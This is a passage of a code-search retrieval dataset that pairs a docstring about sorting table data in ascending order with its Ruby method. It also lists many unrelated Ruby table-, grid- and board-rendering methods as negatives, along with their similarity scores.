"def to_s\n result = \"\"\n\n separator = []\n result += @header.map do |key|\n separator << sprintf(\"%-#{@max_length[key.to_sym]}s\", @@header_line*(@max_length[key.to_sym]+2))\n sprintf \" %-#{@max_length[key.to_sym]}s \", key\n end.join(@@separator)\n result += \"\\n\"\n result += separator.join(@@header_separator) + \"\\n\"\n\n @data.each do |row|\n result += @header.map do |key|\n additional_width = 0\n value = format_value(row, key)\n if value.is_a? String\n additional_width = value.length - value.uncolorize.length\n end\n sprintf \" %-#{@max_length[key.to_sym] + additional_width}s \", value\n end.join(@@separator)\n result += \"\\n\"\n end\n result\n end",
"def print_matrix(matrix)\n puts separator = '-' * matrix.first.length * 6 + '--'\n\n matrix.each do |row|\n line = ''\n row.each do |col|\n line += col.to_s.rjust(3).ljust(6)\n end\n puts \"|#{line}|\".yellow\n end\n\n puts separator\nend",
"def output\n # If there are neither headers nor any rows in the table, return an\n # empty string.\n return '' if table.empty? && table.headers.empty?\n\n # This results in a hash of two-element arrays. The key\n # is the header and the value is an array of the header and formatted\n # header. We do the latter so the structure parallels the structure for\n # rows explained next.\n formatted_headers = build_formatted_headers\n\n # These produce an array with each element representing a row of the\n # table. Each element of the array is a two-element array. The location of\n # the row in the table (:bfirst, :body, :gfooter, etc.) is the first\n # element and a hash of the row is the second element. The keys for the\n # hash are the row headers as in the Table, but the values are two element\n # arrays as well. First is the raw, unformatted value of the cell, the\n # second is a string of the first value formatted according to the\n # instructions for the column and location in which it appears. The\n # formatting done on this pass is only formatting that affects the\n # contents of the cells, such as inserting commas, that would affect the\n # width of the columns as displayed. We keep both the raw value and\n # unformatted value around because we have to make two passes over the\n # table if there is any alignment, and we want to know the type of the raw\n # element for the second pass of formatting for type-specific formatting\n # (e.g., true_color, false_color, etc.).\n new_rows = build_formatted_body\n new_rows += build_formatted_footers\n\n # Having formatted the cells, we can now compute column widths so we can\n # do any alignment called for if this is a Formatter that performs its own\n # alignment. On this pass, we also decorate the cells with colors, bold,\n # etc.\n if aligned?\n widths = width_map(formatted_headers, new_rows)\n table.headers.each do |h|\n fmt_h = formatted_headers[h].last\n istruct = format_at[:header][h]\n formatted_headers[h] =\n [h, format_cell(fmt_h, istruct, width: widths[h], decorate: true)]\n end\n aligned_rows = []\n new_rows.each do |loc_row|\n if loc_row.nil?\n aligned_rows << nil\n next\n end\n loc, row = *loc_row\n aligned_row = {}\n row.each_pair do |h, (val, _fmt_v)|\n istruct = format_at[loc][h]\n aligned_row[h] =\n [val, format_cell(val, istruct, width: widths[h], decorate: true)]\n end\n aligned_rows << [loc, aligned_row]\n end\n new_rows = aligned_rows\n end\n\n # Now that the contents of the output table cells have been computed and\n # alignment applied, we can actually construct the table using the methods\n # for constructing table parts, pre_table, etc. We expect that these will\n # be overridden by subclasses of Formatter for specific output targets. In\n # any event, the result is a single string (or ruby object if eval is true\n # for the Formatter) representing the table in the syntax of the output\n # target.\n result = ''\n result += pre_table\n if include_header_row?\n result += pre_header(widths)\n result += pre_row\n cells = []\n formatted_headers.each_pair do |h, (_v, fmt_v)|\n cells << pre_cell(h) + quote_cell(fmt_v) + post_cell\n end\n result += cells.join(inter_cell)\n result += post_row\n result += post_header(widths)\n end\n new_rows.each do |loc_row|\n if loc_row.nil?\n result += hline(widths)\n next\n end\n\n _loc, row = *loc_row\n result += pre_row\n cells = []\n row.each_pair do |h, (_v, fmt_v)|\n cells << pre_cell(h) + quote_cell(fmt_v) + post_cell\n end\n result += cells.join(inter_cell)\n result += post_row\n end\n result += post_footers(widths)\n result += post_table\n\n # If this Formatter targets a ruby data structure (e.g., AoaFormatter), we\n # eval the string to get the object.\n evaluate? ? eval(result) : result\n end",
"def render\n @board.each.with_index do |row, y|\n row.each.with_index do |item, x|\n chr = item.nil? ? \" \" : item\n print \" #{chr} \"\n print \"|\" unless x == row.size - 1\n end\n print \"\\n-----------\\n\" unless y == @board.size - 1\n end\n print \"\\n\"\n end",
"def display_print\n @grid.each_with_index do |row, row_idx|\n row.each_with_index do |element, column_idx|\n separator = (column_idx % 3 == 2) ? \" \" : \" \"\n print element.to_s + separator\n end\n puts\n puts if (row_idx % 3 == 2)\n end\n nil\n end",
"def to_s\n result = ''\n for r in 0..height\n lines = Array.new(cell_height) { '' }\n for c in 0..width\n # Differentiate the behaviour based on the visibility state of four cells at a time\n c1, c2, c3, c4 = self[r-1, c-1], self[r-1, c], self[r, c-1], self[r, c]\n v1, v2, v3, v4 = (c1 and c1.visible), (c2 and c2.visible), (c3 and c3.visible), (c4 and c4.visible)\n if v4\n lines[0] << '#' * cell_width\n (1...cell_height).each do | i | lines[i] << '#' end\n else\n lines[0] << if v1 or v2 or v3\n '#'\n else\n ' '\n end\n lines[0] << if v2\n '#' * (cell_width - 1)\n else\n ' ' * (cell_width - 1)\n end\n if v3\n (1...cell_height).each do | i | lines[i] << '#' end\n else\n (1...cell_height).each do | i | lines[i] << ' ' end\n end\n end\n if v4\n if c4.empty\n lines[1] << c4.number.to_s.ljust(cell_width-1)\n (2...cell_height).each do | i | lines[i] << ' ' * (cell_width-1) end \n else\n (1...cell_height).each do | i | lines[i] << '#' * (cell_width-1) end \n end\n else\n (1...cell_height).each do | i | lines[i] << ' ' * (cell_width-1) end\n end\n end\n result << lines.join(\"\\n\") << \"\\n\"\n end\n result\n end",
"def print_table(table, format = true, cols = nil)\n \n # Apply column filter\n unless cols.nil?\n \n headings = cols.split(\",\").to_set\n \n cols_to_delete = [ ]\n i = 0\n table[0].each do |col|\n cols_to_delete << i unless headings.include?(col)\n i = i + 1\n end\n \n table.each do |row|\n cols_to_delete.reverse_each { |j| row.delete_at(j) }\n end\n end\n \n if format\n \n # Calculate widths\n widths = []\n table.each do |line|\n c = 0\n line.each do |col|\n \n len = col.nil? ? 0 : col.length\n widths[c] = (widths[c] && widths[c] > len) ? widths[c] : len\n c += 1\n end\n end\n \n max_scr_cols = HighLine::SystemExtensions.terminal_size[0].nil? ? 9999 \n : HighLine::SystemExtensions.terminal_size[0] - (widths.length * 3) - 2\n \n max_tbl_cols = 0\n width_map = {}\n \n c = 0\n widths.each do |n| \n max_tbl_cols += n\n width_map[c] = n\n c += 1\n end\n c = nil\n \n # Shrink columns that have too much space to try and fit table into visible console\n if max_tbl_cols > max_scr_cols\n \n width_map = width_map.sort_by { |col,width| -width }\n \n last_col = widths.length - 1\n c = 0\n \n while max_tbl_cols > max_scr_cols && c < last_col\n \n while width_map[c][1] > width_map[c + 1][1]\n \n i = c\n while i >= 0\n width_map[i][1] -= 1\n widths[width_map[i][0]] -= 1\n max_tbl_cols -= 1\n i -= 1\n \n break if max_tbl_cols == max_scr_cols\n end\n break if max_tbl_cols == max_scr_cols\n end\n c += 1\n end\n end\n \n border1 = \"\"\n border2 = \"\"\n format = \"\"\n widths.each do |n|\n \n border1 += \"+#{'-' * (n + 2)}\"\n border2 += \"+#{'=' * (n + 2)}\"\n format += \"| %#{n}s \"\n end\n border1 += \"+\\n\"\n border2 += \"+\\n\"\n format += \"|\\n\"\n \n else\n c = nil\n border1 = nil\n border2 = nil\n \n format = Array.new(table[0].size, \"%s,\").join.chop! + \"\\n\"\n \n # Delete column headings for unformatted output\n table.delete_at(0)\n end\n \n # Print each line.\n write_header_border = !border2.nil?\n printf border1 if border1\n table.each do |line|\n \n if c\n # Check if cell needs to be truncated\n i = 0\n while i < c\n \n j = width_map[i][0]\n width = width_map[i][1]\n \n cell = line[j]\n len = cell.length\n if len > width\n line[j] = cell[0, width - 2] + \"..\"\n end\n i += 1\n end\n end\n \n printf format, *line\n if write_header_border\n printf border2\n write_header_border = false\n end\n end\n printf border1 if border1\n\n end",
"def line_formatter(array)\n if array.any? {|item| item.is_a?(Array)}\n cols = []\n array.each do |item|\n if item.is_a?(Array)\n item.each_with_index { |val,idx| cols[idx] = [cols[idx]||0, (val || '').length].max }\n end\n end\n cols.map { |col| \"%-#{col}s\" }.join(\" \")\n else\n \"%s\"\n end\n end",
"def line_formatter(array)\n if array.any? {|item| item.is_a?(Array)}\n cols = []\n array.each do |item|\n if item.is_a?(Array)\n item.each_with_index { |val,idx| cols[idx] = [cols[idx]||0, (val || '').length].max }\n end\n end\n cols.map { |col| \"%-#{col}s\" }.join(\" \")\n else\n \"%s\"\n end\n end",
"def print_board\n col_numbers = [' ']\n (1..8).each do |row|\n row_items = []\n\n col_numbers << ' ' + row.to_s + ' '\n row_items << row\n \n (1..8).each do |col|\n row_items << @board[[row,col]].console_rep\n end\n\n puts row_items.join(' ')\n end\n puts col_numbers.join(' ')\n end",
"def to_s\n @matrix.inject('') do |combined_rows, row|\n formatted_row =\n row.inject('') { |combined_cells, cell| \"#{combined_cells} #{cell}\" }\n \"#{combined_rows}\\n#{formatted_row}\"\n end\n end",
"def display(output = $stdout, width = 50)\n width >= 1 or raise ArgumentError, \"width needs to be >= 1\"\n for r in rows\n output << output_row(r, width)\n end\n output << \"max_count=#{max_count}\\n\"\n self\n end",
"def to_s\r\n assert_exists\r\n r = super({\"rows\" => \"rows.length\",\"columns\" => \"columnLength\", \"cellspacing\" => \"cellspacing\", \"cellpadding\" => \"cellpadding\", \"border\" => \"border\"})\r\n # r += self.column_count.to_s\r\n end",
"def render\n\t\tclear_screen\n\t\tcenter_this [\"\",\" MINESWEE\\u2691ER\"]\n\n\t\t# Create the upper and lower vertical edges of board\n\t\tboard_vertical_edge = \" +\"\n\t\t@width.times { board_vertical_edge << \"--\" }\n\t\tboard_vertical_edge << \"-+\"\n\n\t\t# Display column headers vertically to save space\n\t\t# Places tens place directly above the ones place, if necessary\n\t\ttens = \" \"\n\t\tones = \" \"\n\t\t@width.times do |x|\n\t\t\tif x >= 10\n\t\t\t\ttens << x.to_s[0] + \" \"\n\t\t\t\tones << x.to_s[1] + \" \"\n\t\t\telse\n\t\t\t\ttens << \" \"\n\t\t\t\tones << x.to_s + \" \"\n\t\t\tend\n\t\tend\n\t\tcenter_this tens if @width >= 11\n\t\tcenter_this ones\n\t\tcenter_this board_vertical_edge # Display top edge of board\n\n\t\t# Loop through and display each row\n\t\t@cell_at.each_with_index do |row, row_title|\n\t\t\t# Add the row title, as a letter, to the row contents\n\t\t\trow_contents = row_title.to_s.tr(\"0-9\", \"a-z\").upcase + \" | \"\n\t\t\t# Loop through each cell in row and it to row contents\n\t\t\trow.each do |col|\n\t\t\t\tcase col.state\n\t\t\t\twhen :hidden\n\t\t\t\t\trow_contents << \"\\u2591 \"\n\t\t\t\twhen :flagged\n\t\t\t\t\trow_contents << \"\\u2691 \"\n\t\t\t\twhen :visible\n\t\t\t\t\trow_contents << col.risk unless col.risk == :mine\n\t\t\t\t\trow_contents << \"\\u2699\" if col.risk == :mine\n\t\t\t\t\trow_contents << \" \"\n\t\t\t\tend\n\t\t\tend\n\t\t\trow_contents << \"|\"\n\t\t\tcenter_this row_contents # Display row\n\t\tend\n\t\tcenter_this board_vertical_edge # Display bottom edge of board\n\t\tcenter_this \" FLAGS LEFT: #{@flags_left}\" # Display remaining flags\n\t\tputs\n\t\tputs\n\tend",
"def render\r\n # puts \"\\e[H\\e[2J\"\r\n\r\n values = @grid\r\n puts \" 0 1 2 3 4 5 6 7 8\".light_black\r\n puts \" +---+---+---+---+---+---+---+---+---+\".light_black\r\n values.each_with_index do |row, idx|\r\n print \" #{idx} |\".light_black\r\n row.each_with_index do |value, idx|\r\n if idx >= 1\r\n print \"|\".light_black\r\n end\r\n # color coding output to cells\r\n if \" #{value} \".match?(/[0]/) # no values printed for open spaces\r\n print \" \"\r\n elsif value.is_a? String # values changed by player are printed in yellow\r\n print \" #{value} \".yellow\r\n else\r\n print \" #{value} \".light_blue # OG values are printed in blue\r\n end\r\n end\r\n print \"|\\n\".light_black\r\n puts \" +---+---+---+---+---+---+---+---+---+\".light_black\r\n end\r\n puts # adds newline at end of board\r\n end",
"def row_to_s(row) # :nodoc:\n line = ' ' * indent\n last_cell = nil\n last_idx = nil\n row.each_with_index { |cell, idx|\n if (idx != 0)\n line << pad(' ', last_cell.to_s, last_idx)\n end\n # Limit wide cells\n if colprops[idx]['MaxChar']\n last_cell = cell.to_s[0..colprops[idx]['MaxChar'].to_i]\n line << style_table_field(last_cell, idx)\n else\n line << style_table_field(cell.to_s, idx)\n last_cell = cell\n end\n last_idx = idx\n }\n\n return line + \"\\n\"\n end",
"def display\n\t\tputs \"\\n\"\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |col|\n\t\t\t\tprint \" \" + @board[row][col].to_s + \" \"\n\t\t\t\tprint \"|\" unless col == 2\n\t\t\tend\n\t\t\tputs row == 2 ? \"\\n\\n\" : \"\\n-----------\\n\"\n\t\tend\n\tend",
"def render\n # Clear the console\n puts \"\\e[H\\e[2J\"\n (1..DEFAULT_WIDTH).each do |y|\n row = []\n\n (1..DEFAULT_WIDTH).each do |x|\n row << cell(x, y).render\n end\n puts row.join(\" \")\n puts \"\\n\"\n end\n end",
"def print_grid\n self.print_head\n puts $line_break\n i = 0\n grid.each do |row|\n printable_row = []\n row.each do |cell|\n printable_row << cell[:display]\n end\n row_string = printable_row.join(\" | \")\n puts \"## #{$abc[i].upcase} #{row_string} ##\"\n # puts \"## #{row_string} ##\"\n puts \"##\" + \"------\" + \"+----\" * 9 + \"##\"\n i += 1\n end\n bottom_row = []\n l = 0\n 10.times do\n bottom_row << \" #{l} \"\n l += 1\n end\n print_row = bottom_row.join(\"|\")\n puts \"## #{print_row}##\"\n puts $line_break\n end",
"def pretty_print(table)\n max_digits = table.row(table.row_size-1)[table.column_size-1].to_s.size + 1\n for row in 0..table.row_size-1 do\n table.row(row).each do |value|\n if value != 1\n printf(\"%#{max_digits}d\", value) ;\n else\n printf(\"%#{max_digits}c\", \" \") ;\n end\n end\n puts \"\"\n end\n end",
"def console_grid\n i = self.height\n grid.map do |row|\n puts row.map { |cell| \"[#{cell.value.empty? ? \"_\" : cell.value}]\" }.join(\"\") + \" #{i}\"\n i-=1\n end\n end",
"def formatted_grid\n grid.each do |row|\n puts row.map { |cell| cell.value.empty? ? \"_\" : cell.value }.join(\" \")\n end\n end",
"def render_table(data, separator = \" # \")\n column_width = data.group_by do |row|\n row.first.size\n end.max.first\n \"\".tap do |output|\n data.each do |row|\n output << \"%-#{column_width}s#{separator}%s\\n\" % row\n end\n end\n end",
"def print(sep=\" \")\n\t\tprepare(@dim_i,@dim_j)\n\t\tlgMax = Array.new # ce tableau va connaitre la longueur max de chaque colonne\n\t\tfor j in 0..@dim_j - 1\n\t\t\tlgMax.push longer(get_col(j))\n\t\tend\n\t\tfor i in 0..@dim_i-1\n\t\t\ttmpRow=\"\"\n\t\t\tfor j in 0..@dim_j-1\n\t\t\t\ttmpRow += sep + \" \" * (lgMax[j] - @myTab[i][j].to_s.length) + @myTab[i][j].to_s\n\t\t\tend\n\t\t\ttmpRow += sep\n\t\t\tputs tmpRow\n\t\tend\n\tend",
"def render\n\t\tprint \"cl1 cl2 cl3 cl4 cl5 cl6 cl7 cl8 cl9 c10\\n\"\n\t\t(0..9).each do |row|\n\t\t\t(0..9).each do |col|\n\t\t\t\tif @grid[row][col].is_flagged\n\t\t\t\t\tprint \"FLG\"\n\t\t\t\telsif @grid[row][col].is_hidden\n\t\t\t\t\tprint \" \"\n\t\t\t\telsif @grid[row][col].surrounding_bombs > 0\n\t\t\t\t\tprint \" #{@grid[row][col].surrounding_bombs} \"\n\t\t\t\telsif @grid[row][col].has_bomb\n\t\t\t\t\tprint \"POW\"\t\t\t\t\t\n\t\t\t\telse print \"xxx\"\n\t\t\t\tend\n\t\t\t\tprint \"|\" unless col == 9\n\t\t\t\tprint \"row#{row + 1}\\n\" if col == 9\n\t\t\tend\n\t\tend\n\tend",
"def display\n @board.each_slice(9) do |row|\n puts row.join(\",\")\n end\n end",
"def display\n array = stringify_rows\n print_line_seperator\n array.each do |row|\n puts \"|\" << row.join( \"|\" ) << \"|\"\n print_line_seperator\n end\nend",
"def row(*cols)\n '| ' + cols.zip(@widths).map do |c,w|\n (c || '<nil>').to_s.ljust(w)[0...w]\n end.join(' | ') + ' |'\n end",
"def print_filter(columns)\n lines = filter(columns)\n output = []\n lines.each_with_index do |line, i|\n row = \"#{i}.\".ljust(6)\n line.each do |k,v|\n row << \"#{v}\\t\"\n end\n output << row\n end\n puts output.join(\"\\n\")\n end",
"def to_s\n columns.each{|c| \"#{c}: #{self.send(c)}\\n\"}\n end",
"def to_s\n\t\t\ts = edge_row + \"\\n\"\n\t\t\t@n_rows.times do |r|\n\t\t\t\ts << \"|\"\n\t\t\t\t@n_cols.times do |c|\n\t\t\t\t\tcorrect_row_index = @n_rows - r -1 \n\t\t\t\t\t#flip board updside down for representation\n\t\t\t\t\ts << \"#{represent_entry(correct_row_index,c)} |\"\n\t\t\t\tend\n\t\t\t\ts << \"\\n\"\n\t\t\tend\n\t\t\ts << edge_row + \"\\n\"\n\t\t\ts << \" \" + (0..@n_cols -1).to_a.join(' ') + \"\\n\"\n\t\t\treturn s\n\t\tend",
"def to_s\n \"(#{cols},#{rows})\"\n end",
"def to_s_pretty\r\n str = \"\"\r\n \r\n border = '+-------+-------+-------+'\r\n separator = '|'\r\n \r\n (0 .. 8).each do |row|\r\n str += (border + \"\\n\") if row % 3 == 0\r\n \r\n (0 .. 8).each do |col|\r\n str += (separator + ' ') if col % 3 == 0\r\n str += (@board[row][col].to_s + ' ')\r\n end\r\n \r\n str += (separator + \"\\n\")\r\n end\r\n \r\n str += (border + \"\\n\")\r\n str.gsub!('0', '_')\r\n return str\r\n end",
"def render()\n print \" \"\n (0...@size).each do |col|\n print (col).to_s + \" \"\n end\n puts\n\n (0...@size).each do |row|\n (-1...@size).each do |col|\n print col == -1 ? row : card([row, col]).display\n print \" \"\n end\n puts\n end\n end",
"def print_in_cols a, noc=nil\n unless noc\n noc = 3\n if a.size < 7\n noc = 1\n elsif a.size < 15\n noc = 2\n end\n end\n\n x = noc - 1\n cols = a.each_slice((a.size+x)/noc).to_a\n # todo width should be determined based on COLS of screen, and width of data\n cols.first.zip( *cols[1..-1] ).each{|row| puts row.map{|e| e ? '%-30s' % e : ' '}.join(\" \") }\nend",
"def render\n puts \"-------------------------------------\"\n @grid.each do |row| \n puts \"| \" + row.map(&:to_s).join(\" | \") + \" |\"\n puts \"-------------------------------------\"\n end\n end",
"def print(*columns)\n rows = [columns.join(COL_SEP)]\n rows += @rows.map do |row|\n values = columns.map do |col|\n value = row[col.to_sym] \n\n if value.respond_to?(:strftime)\n value.strftime(\"%m/%d/%Y\")\n else\n value\n end\n end\n\n values.join(COL_SEP)\n end\n \n rows.join(ROW_SEP)\n end",
"def to_s\n\t\t# top border\n\t\toutput = \"+\" + \"---+\" * columns + \"\\n\"\n\n\t\teach_row do |row|\n\t\t\ttop = \"|\"\n\t\t\tbottom = \"+\"\n\n\t\t\trow.each do |cell|\n\t\t\t\t# create a dummy, if no cell present (used by special geometries)\n\t\t\t\tcell = Cell.new(-1, -1) unless cell\n\n\t\t\t\tbody = \" \" # 3 spaces\n\t\t\t\teast_boundary = (cell.linked?(cell.east) ? \" \" : \"|\")\n\t\t\t\ttop << body << east_boundary\n\n\t\t\t\tsouth_boundary = (cell.linked?(cell.south) ? \" \" : \"---\")\n\t\t\t\tcorner = \"+\"\n\t\t\t\tbottom << south_boundary << corner\n\t\t\tend\n\n\t\t\toutput << top << \"\\n\"\n\t\t\toutput << bottom << \"\\n\"\n\t\tend\n\n\t\toutput\n\tend",
"def print\n\t\t\tself.each do |item|\n\t\t\t\titem.p( @colsizes, @align, @padding )\n\t\t\tend\n\t\tend",
"def equal_spaced_output\n\n\t\tputs \"Type an integer to set column spacing\"\n\t\tspacing = gets.chomp.to_i\n\t\tlargest_word = find_largest_word\n\n\t\tspacing += largest_word.length\n\n\t\tcounter = 0\n\t\t@stringArray.each do |x|\n\n\t\t\tfinished = nil\t\t\t\n\n\t\t\tloop do \n\n\t\t\t\tlength = x.length\n\n\n\t\t\t\tif length <= spacing\n\t\t\t\t\tx << ' '\n\t\t\t\telse\n\t\t\t\t\tx << '|'\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\n\t\t\tend\n\n\t\t\tputs x\n\n\t\tend #end string each\n\n\n\tend",
"def to_ascii\n lines = []\n cols = col_count\n min_row.upto(max_row) do |row|\n line = \"%03d:\" % row # left-padded row number\n (cols - row).times {line << ' '}\n\n min_col.upto(max_col) do |col|\n line << ' '\n line << (@board[[row,col,0]] || '.').to_s\n end\n\n lines << line\n end\n\n lines.join \"\\n\"\n end",
"def pretty_board(board_array)\n\toutput = \"\\n\"\n\tboard_array.each do |row|\n\t\trow.each do |box|\n\t\t\toutput << \" #{box}\"\n\t\tend\n\t\toutput << \"\\n\"\n\tend\n\toutput << \"\\n\"\n\n\treturn output\nend",
"def inspect\n s = \"<#{self.class} of size #{rows} #{columns}: #{to_s}>\"\n end",
"def to_s\n\t\t\taux = \"\"\n\t\t\t@nfil.times do |i|\n\t\t\t\t@ncol.times do |j|\n\t\t\t\t\taux << \"#{pos[i][j]}\\t\"\n\t\t\t\tend\n\t\t\t\taux << \"\\n\"\n\t\t\tend\n\t\t\taux\n\t\tend",
"def to_s_v1\n output = \"+\" + \"---+\" * columns + \"\\n\"\n\n each_row do |row|\n top = \"|\"\n bottom = \"+\"\n\n row.each do |cell|\n cell = Cell.new(-1, -1) unless cell\n\n body = \" \" # <-- that's THREE (3) spaces!\n east_boundary = (cell.linked?(cell.east) ? \" \" : \"|\")\n top << body << east_boundary\n\n # three spaces below, too >>-------------->> >...<\n south_boundary = (cell.linked?(cell.south) ? \" \" : \"---\")\n corner = \"+\"\n bottom << south_boundary << corner\n end\n\n output << top << \"\\n\"\n output << bottom << \"\\n\"\n end\n\n output\n end",
"def format descriptions\n formatted = format_rows descriptions\n\n aligned = formatted.transpose.map do |column|\n width = column.map { |entry| entry.length }.max\n\n column.map { |entry| entry.rjust width }\n end\n\n aligned.transpose.map do |row|\n row.join ' '\n end\n end",
"def display\t\n \tstring = \"\\n +-----------------------+\".green\n \t@matrix.each_index{ |i|\n \tstring += \"\\n |\".green\n v = @matrix[i]\n \tv.each_index{|j|\n \t\tif (v[j] != 0)\n \t\t\tstring += \" \" + v[j].to_s\n \t\telse \n \t\t\tstring += \" .\"\n \t\tend\n \t\t\t\t\n \t\tif (j == 2 || j == 5 || j == 8)\n \t\t\tstring += \" |\".green\n \t\tend\n \t\t}\n \t\tif (i == 2 || i == 5)\n \t\t\tstring += \"\\n |-------+-------+-------|\".green\n \t\tend\n \t}\n \tstring += \"\\n +-----------------------+\".green\n\tend",
"def to_s\n\t\taux = \"\"\n\t\t@nfil.times do |i|\n\t\t\t@ncol.times do |j|\n\t\t\t\taux << \"#{pos[i][j]}\\t\"\n\t\t\tend\n\t\t\taux << \"\\n\"\n\t\tend\n\t\taux\n\tend",
"def to_s_v2\n output = \"+\" + \"---+\" * columns + \"\\n\"\n\n each_row do |row|\n top = \"|\"\n bottom = \"+\"\n\n row.each do |cell|\n cell = Cell.new(-1, -1) unless cell\n\n body = \" #{contents_of(cell)} \"\n east_boundary = (cell.linked?(cell.east) ? \" \" : \"|\")\n top << body << east_boundary\n\n south_boundary = (cell.linked?(cell.south) ? \" \" : \"---\")\n corner = \"+\"\n bottom << south_boundary << corner\n end\n\n output << top << \"\\n\"\n output << bottom << \"\\n\"\n end\n\n output\n end",
"def to_s\n str = prefix.dup\n str << header_to_s || ''\n str << columns_to_s || ''\n str << hr_to_s || ''\n\n sort_rows\n rows.each { |row|\n if (is_hr(row))\n str << hr_to_s\n else\n str << row_to_s(row) if row_visible(row)\n end\n }\n\n str << postfix\n\n return str\n end",
"def print_result\n puts @cells.map{ |row| row.map{ |cell| (cell.determine? ? cell.number : '?').to_s.rjust(length.to_s.length) }.join() }.join(\"\\n\")\n end",
"def render(show = false)\n # Create a string of all elements on the board.\n render_string = ''\n @board_hash.each_value do |cell_obj|\n render_string << cell_obj.render(show)\n end\n\n # Take the elements and segregate them by thier column length. Then add letters to the beginning of the new row, and a newline return to the end.\n output = ''\n counter = 0\n render_string.gsub(/.{4}/) do |blanks|\n output << (@row_array[counter] + blanks + \"\\n\")\n counter += 1\n end\n\n # 1234 string is a placeholder. Need to update for dynamic board.\n # Add padding to the beginning of the string, add column numbers, and add spaces between all characters. Return final string ready for printing.\n output = \" \" + output.prepend(\"1234\\n\").gsub(/./) { |s| s + ' ' }\n end",
"def to_s\n s = \"\"\n i = 0\n while(i < @col)\n j = 0\n while(j < @fil)\n s += \"#{@matrix[i][j].to_s}\\t\"\n j += 1\n end\n s += \"\\n\"\n i += 1\n end\n s\n end",
"def _prepare_format #:nodoc:\n fmstr = nil\n fmt = []\n each_column { |c, i|\n ## trying a zero for hidden columns\n ## worked but an extra space is added below and the sep\n w = c.width\n case c.align\n when :right\n #fmt << \"%.#{w}s \"\n fmt << \"%#{w}.#{w}s \"\n else\n fmt << \"%-#{w}.#{w}s \"\n end\n }\n ## the next line will put a separator after hidden columns also\n fmstr = fmt.join(@y)\n #puts \"format: #{fmstr} \" # 2011-12-09 23:09:57\n return fmstr\n end",
"def to_s\n set_current_position!\n matrix.reverse.map { |row| row.join(' ') }.join(\"\\n\")\n end",
"def to_s\n rows.empty? ? '' : rows.collect { |row| row_output_string(row) }.join(\"\\n\")\n end",
"def to_s\n @squares.map do |row|\n row.map(&:to_s).join(\" \")\n end.join(\"\\n\")\n end",
"def board\n output = \"\"\n [*0..80].each do |i|\n output << @board[i].ljust(4)\n output << \"\\n\" if (i+1) % 9 == 0\n end\n output\n end",
"def board\n result_string = ''\n @board.each_slice(9) do |row_to_print|\n result_string << \"\\n\"\n row_to_print.each do |cell_value|\n result_string << \" #{cell_value.value} \"\n end\n end\n result_string\n end",
"def display_board\n cell = \" \"\n divider = \"|\"\n demarcator = \"\"\n 11.times { demarcator << \"-\" }\n row = cell + divider + cell + divider + cell\n\n puts row\n puts demarcator\n puts row\n puts demarcator\n puts row\nend",
"def column_numbers_string\n normalize_widths = (1..@width).to_a.map do |num|\n # If the column number is 1 digit, put a space in front of it\n if num > 9\n num.to_s\n else\n \" \" + num.to_s\n end\n end\n normalize_widths.join('|')\n end",
"def show\n 1.upto(width).each { |x| print \" \" + \"#{x}\"}\n print \"\\n\"\n\n grid.each_with_index do |row, index|\n print \"#{index + 1} #{row} \\n\"\n end\n end",
"def to_s\n puts \"---------------------------------------\"\n row = @slots.each_slice(9) { |slice| puts \"| \" + slice.join(\" | \") + \" |\"}\n puts \"---------------------------------------\"\n end",
"def to_s\n board_2d.map do |row|\n row.map { |letter| '%-3s' % letter }.join(' ')\n end.join(\"\\n\")\n end",
"def render_board\n i = 0\n while i < board.dimension\n puts \"\"\"\n #{render_row(i)} \"\"\"\n i += 1\n end\n end"
] |
[
"0.7065507",
"0.706443",
"0.6936777",
"0.69126815",
"0.68309635",
"0.6782193",
"0.6745901",
"0.6724159",
"0.6697752",
"0.6684842",
"0.6665344",
"0.66632074",
"0.66616714",
"0.6646469",
"0.662942",
"0.6621123",
"0.6589467",
"0.6577162",
"0.6565434",
"0.6557925",
"0.6526258",
"0.65109867",
"0.650977",
"0.6487982",
"0.6452661",
"0.6440894",
"0.64255506",
"0.642142",
"0.64023125",
"0.64004064",
"0.63967496",
"0.63812065",
"0.6375874",
"0.6366375",
"0.63539827",
"0.63331723",
"0.6315887",
"0.63136417",
"0.6304149",
"0.6296364",
"0.6274832",
"0.62704796",
"0.6264968",
"0.6264968",
"0.6261246",
"0.6259415",
"0.6258639",
"0.62562305",
"0.62517124",
"0.6248833",
"0.62455773",
"0.62420285",
"0.62334824",
"0.623189",
"0.6228949",
"0.6227984",
"0.62242806",
"0.62108505",
"0.6210728",
"0.6205902",
"0.6185989",
"0.61858493",
"0.6184584",
"0.6183982",
"0.6179177",
"0.61720747",
"0.6171036",
"0.6169306",
"0.6165467",
"0.6138519",
"0.6136236",
"0.6127205",
"0.6121476",
"0.61168",
"0.6099753",
"0.6098775",
"0.6088433",
"0.60869235",
"0.60792655",
"0.6073463",
"0.607138",
"0.6069628",
"0.6068727",
"0.6063162",
"0.60601723",
"0.60510534",
"0.6045378",
"0.60358804",
"0.603211",
"0.6030759",
"0.6000703",
"0.5999636",
"0.59955215",
"0.598146",
"0.59811604",
"0.5978727",
"0.59784526",
"0.59693927",
"0.59689957",
"0.5964614"
] |
0.67741144
|
6
|
Sorts the receiver's data in ascending order using the specified sort keys. +sort_keys+:: A list of column IDs to sort on. If table does not have a column with one of the IDs, that ID is ignored.
|
def sort_data_ascending!(*sort_keys)
self.sort_data!(true, sort_keys)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort_data!(is_ascending, sort_keys)\n sort_key_indices = sort_keys.collect { |key| @columns.index(@columns.find { |column| column.id == key }) }.reject { |e| !e }\n\n @data.sort! do |row1, row2|\n comparison_result = 0\n\n sort_key_indices.each do |index|\n comparison_result = @columns[index].data_comparator.call(row1[index], row2[index])\n comparison_result *= -1 if !is_ascending\n break unless comparison_result == 0\n end\n\n comparison_result\n end\n end",
"def sort(sort_keys, *args)\n raise NotImplementedError\n end",
"def sort_data\n sort_cols = @columns.select{ |col| col.sort_order }.sort_by{ |col| col.sort_order }\n if sort_cols.length > 0\n log.fine \"Sorting by #{sort_cols.map(&:header).to_sentence}\"\n @data.sort! do |a, b|\n ord = nil\n sort_cols.each do |col|\n if col.sort_ascending\n a_val = a[col.column_index]\n b_val = b[col.column_index]\n else\n a_val = b[col.column_index]\n b_val = a[col.column_index]\n end\n ord = a_val <=> b_val || (a_val && 1) || (b_val && -1) || 0\n break unless ord == 0\n end\n ord\n end\n end\n end",
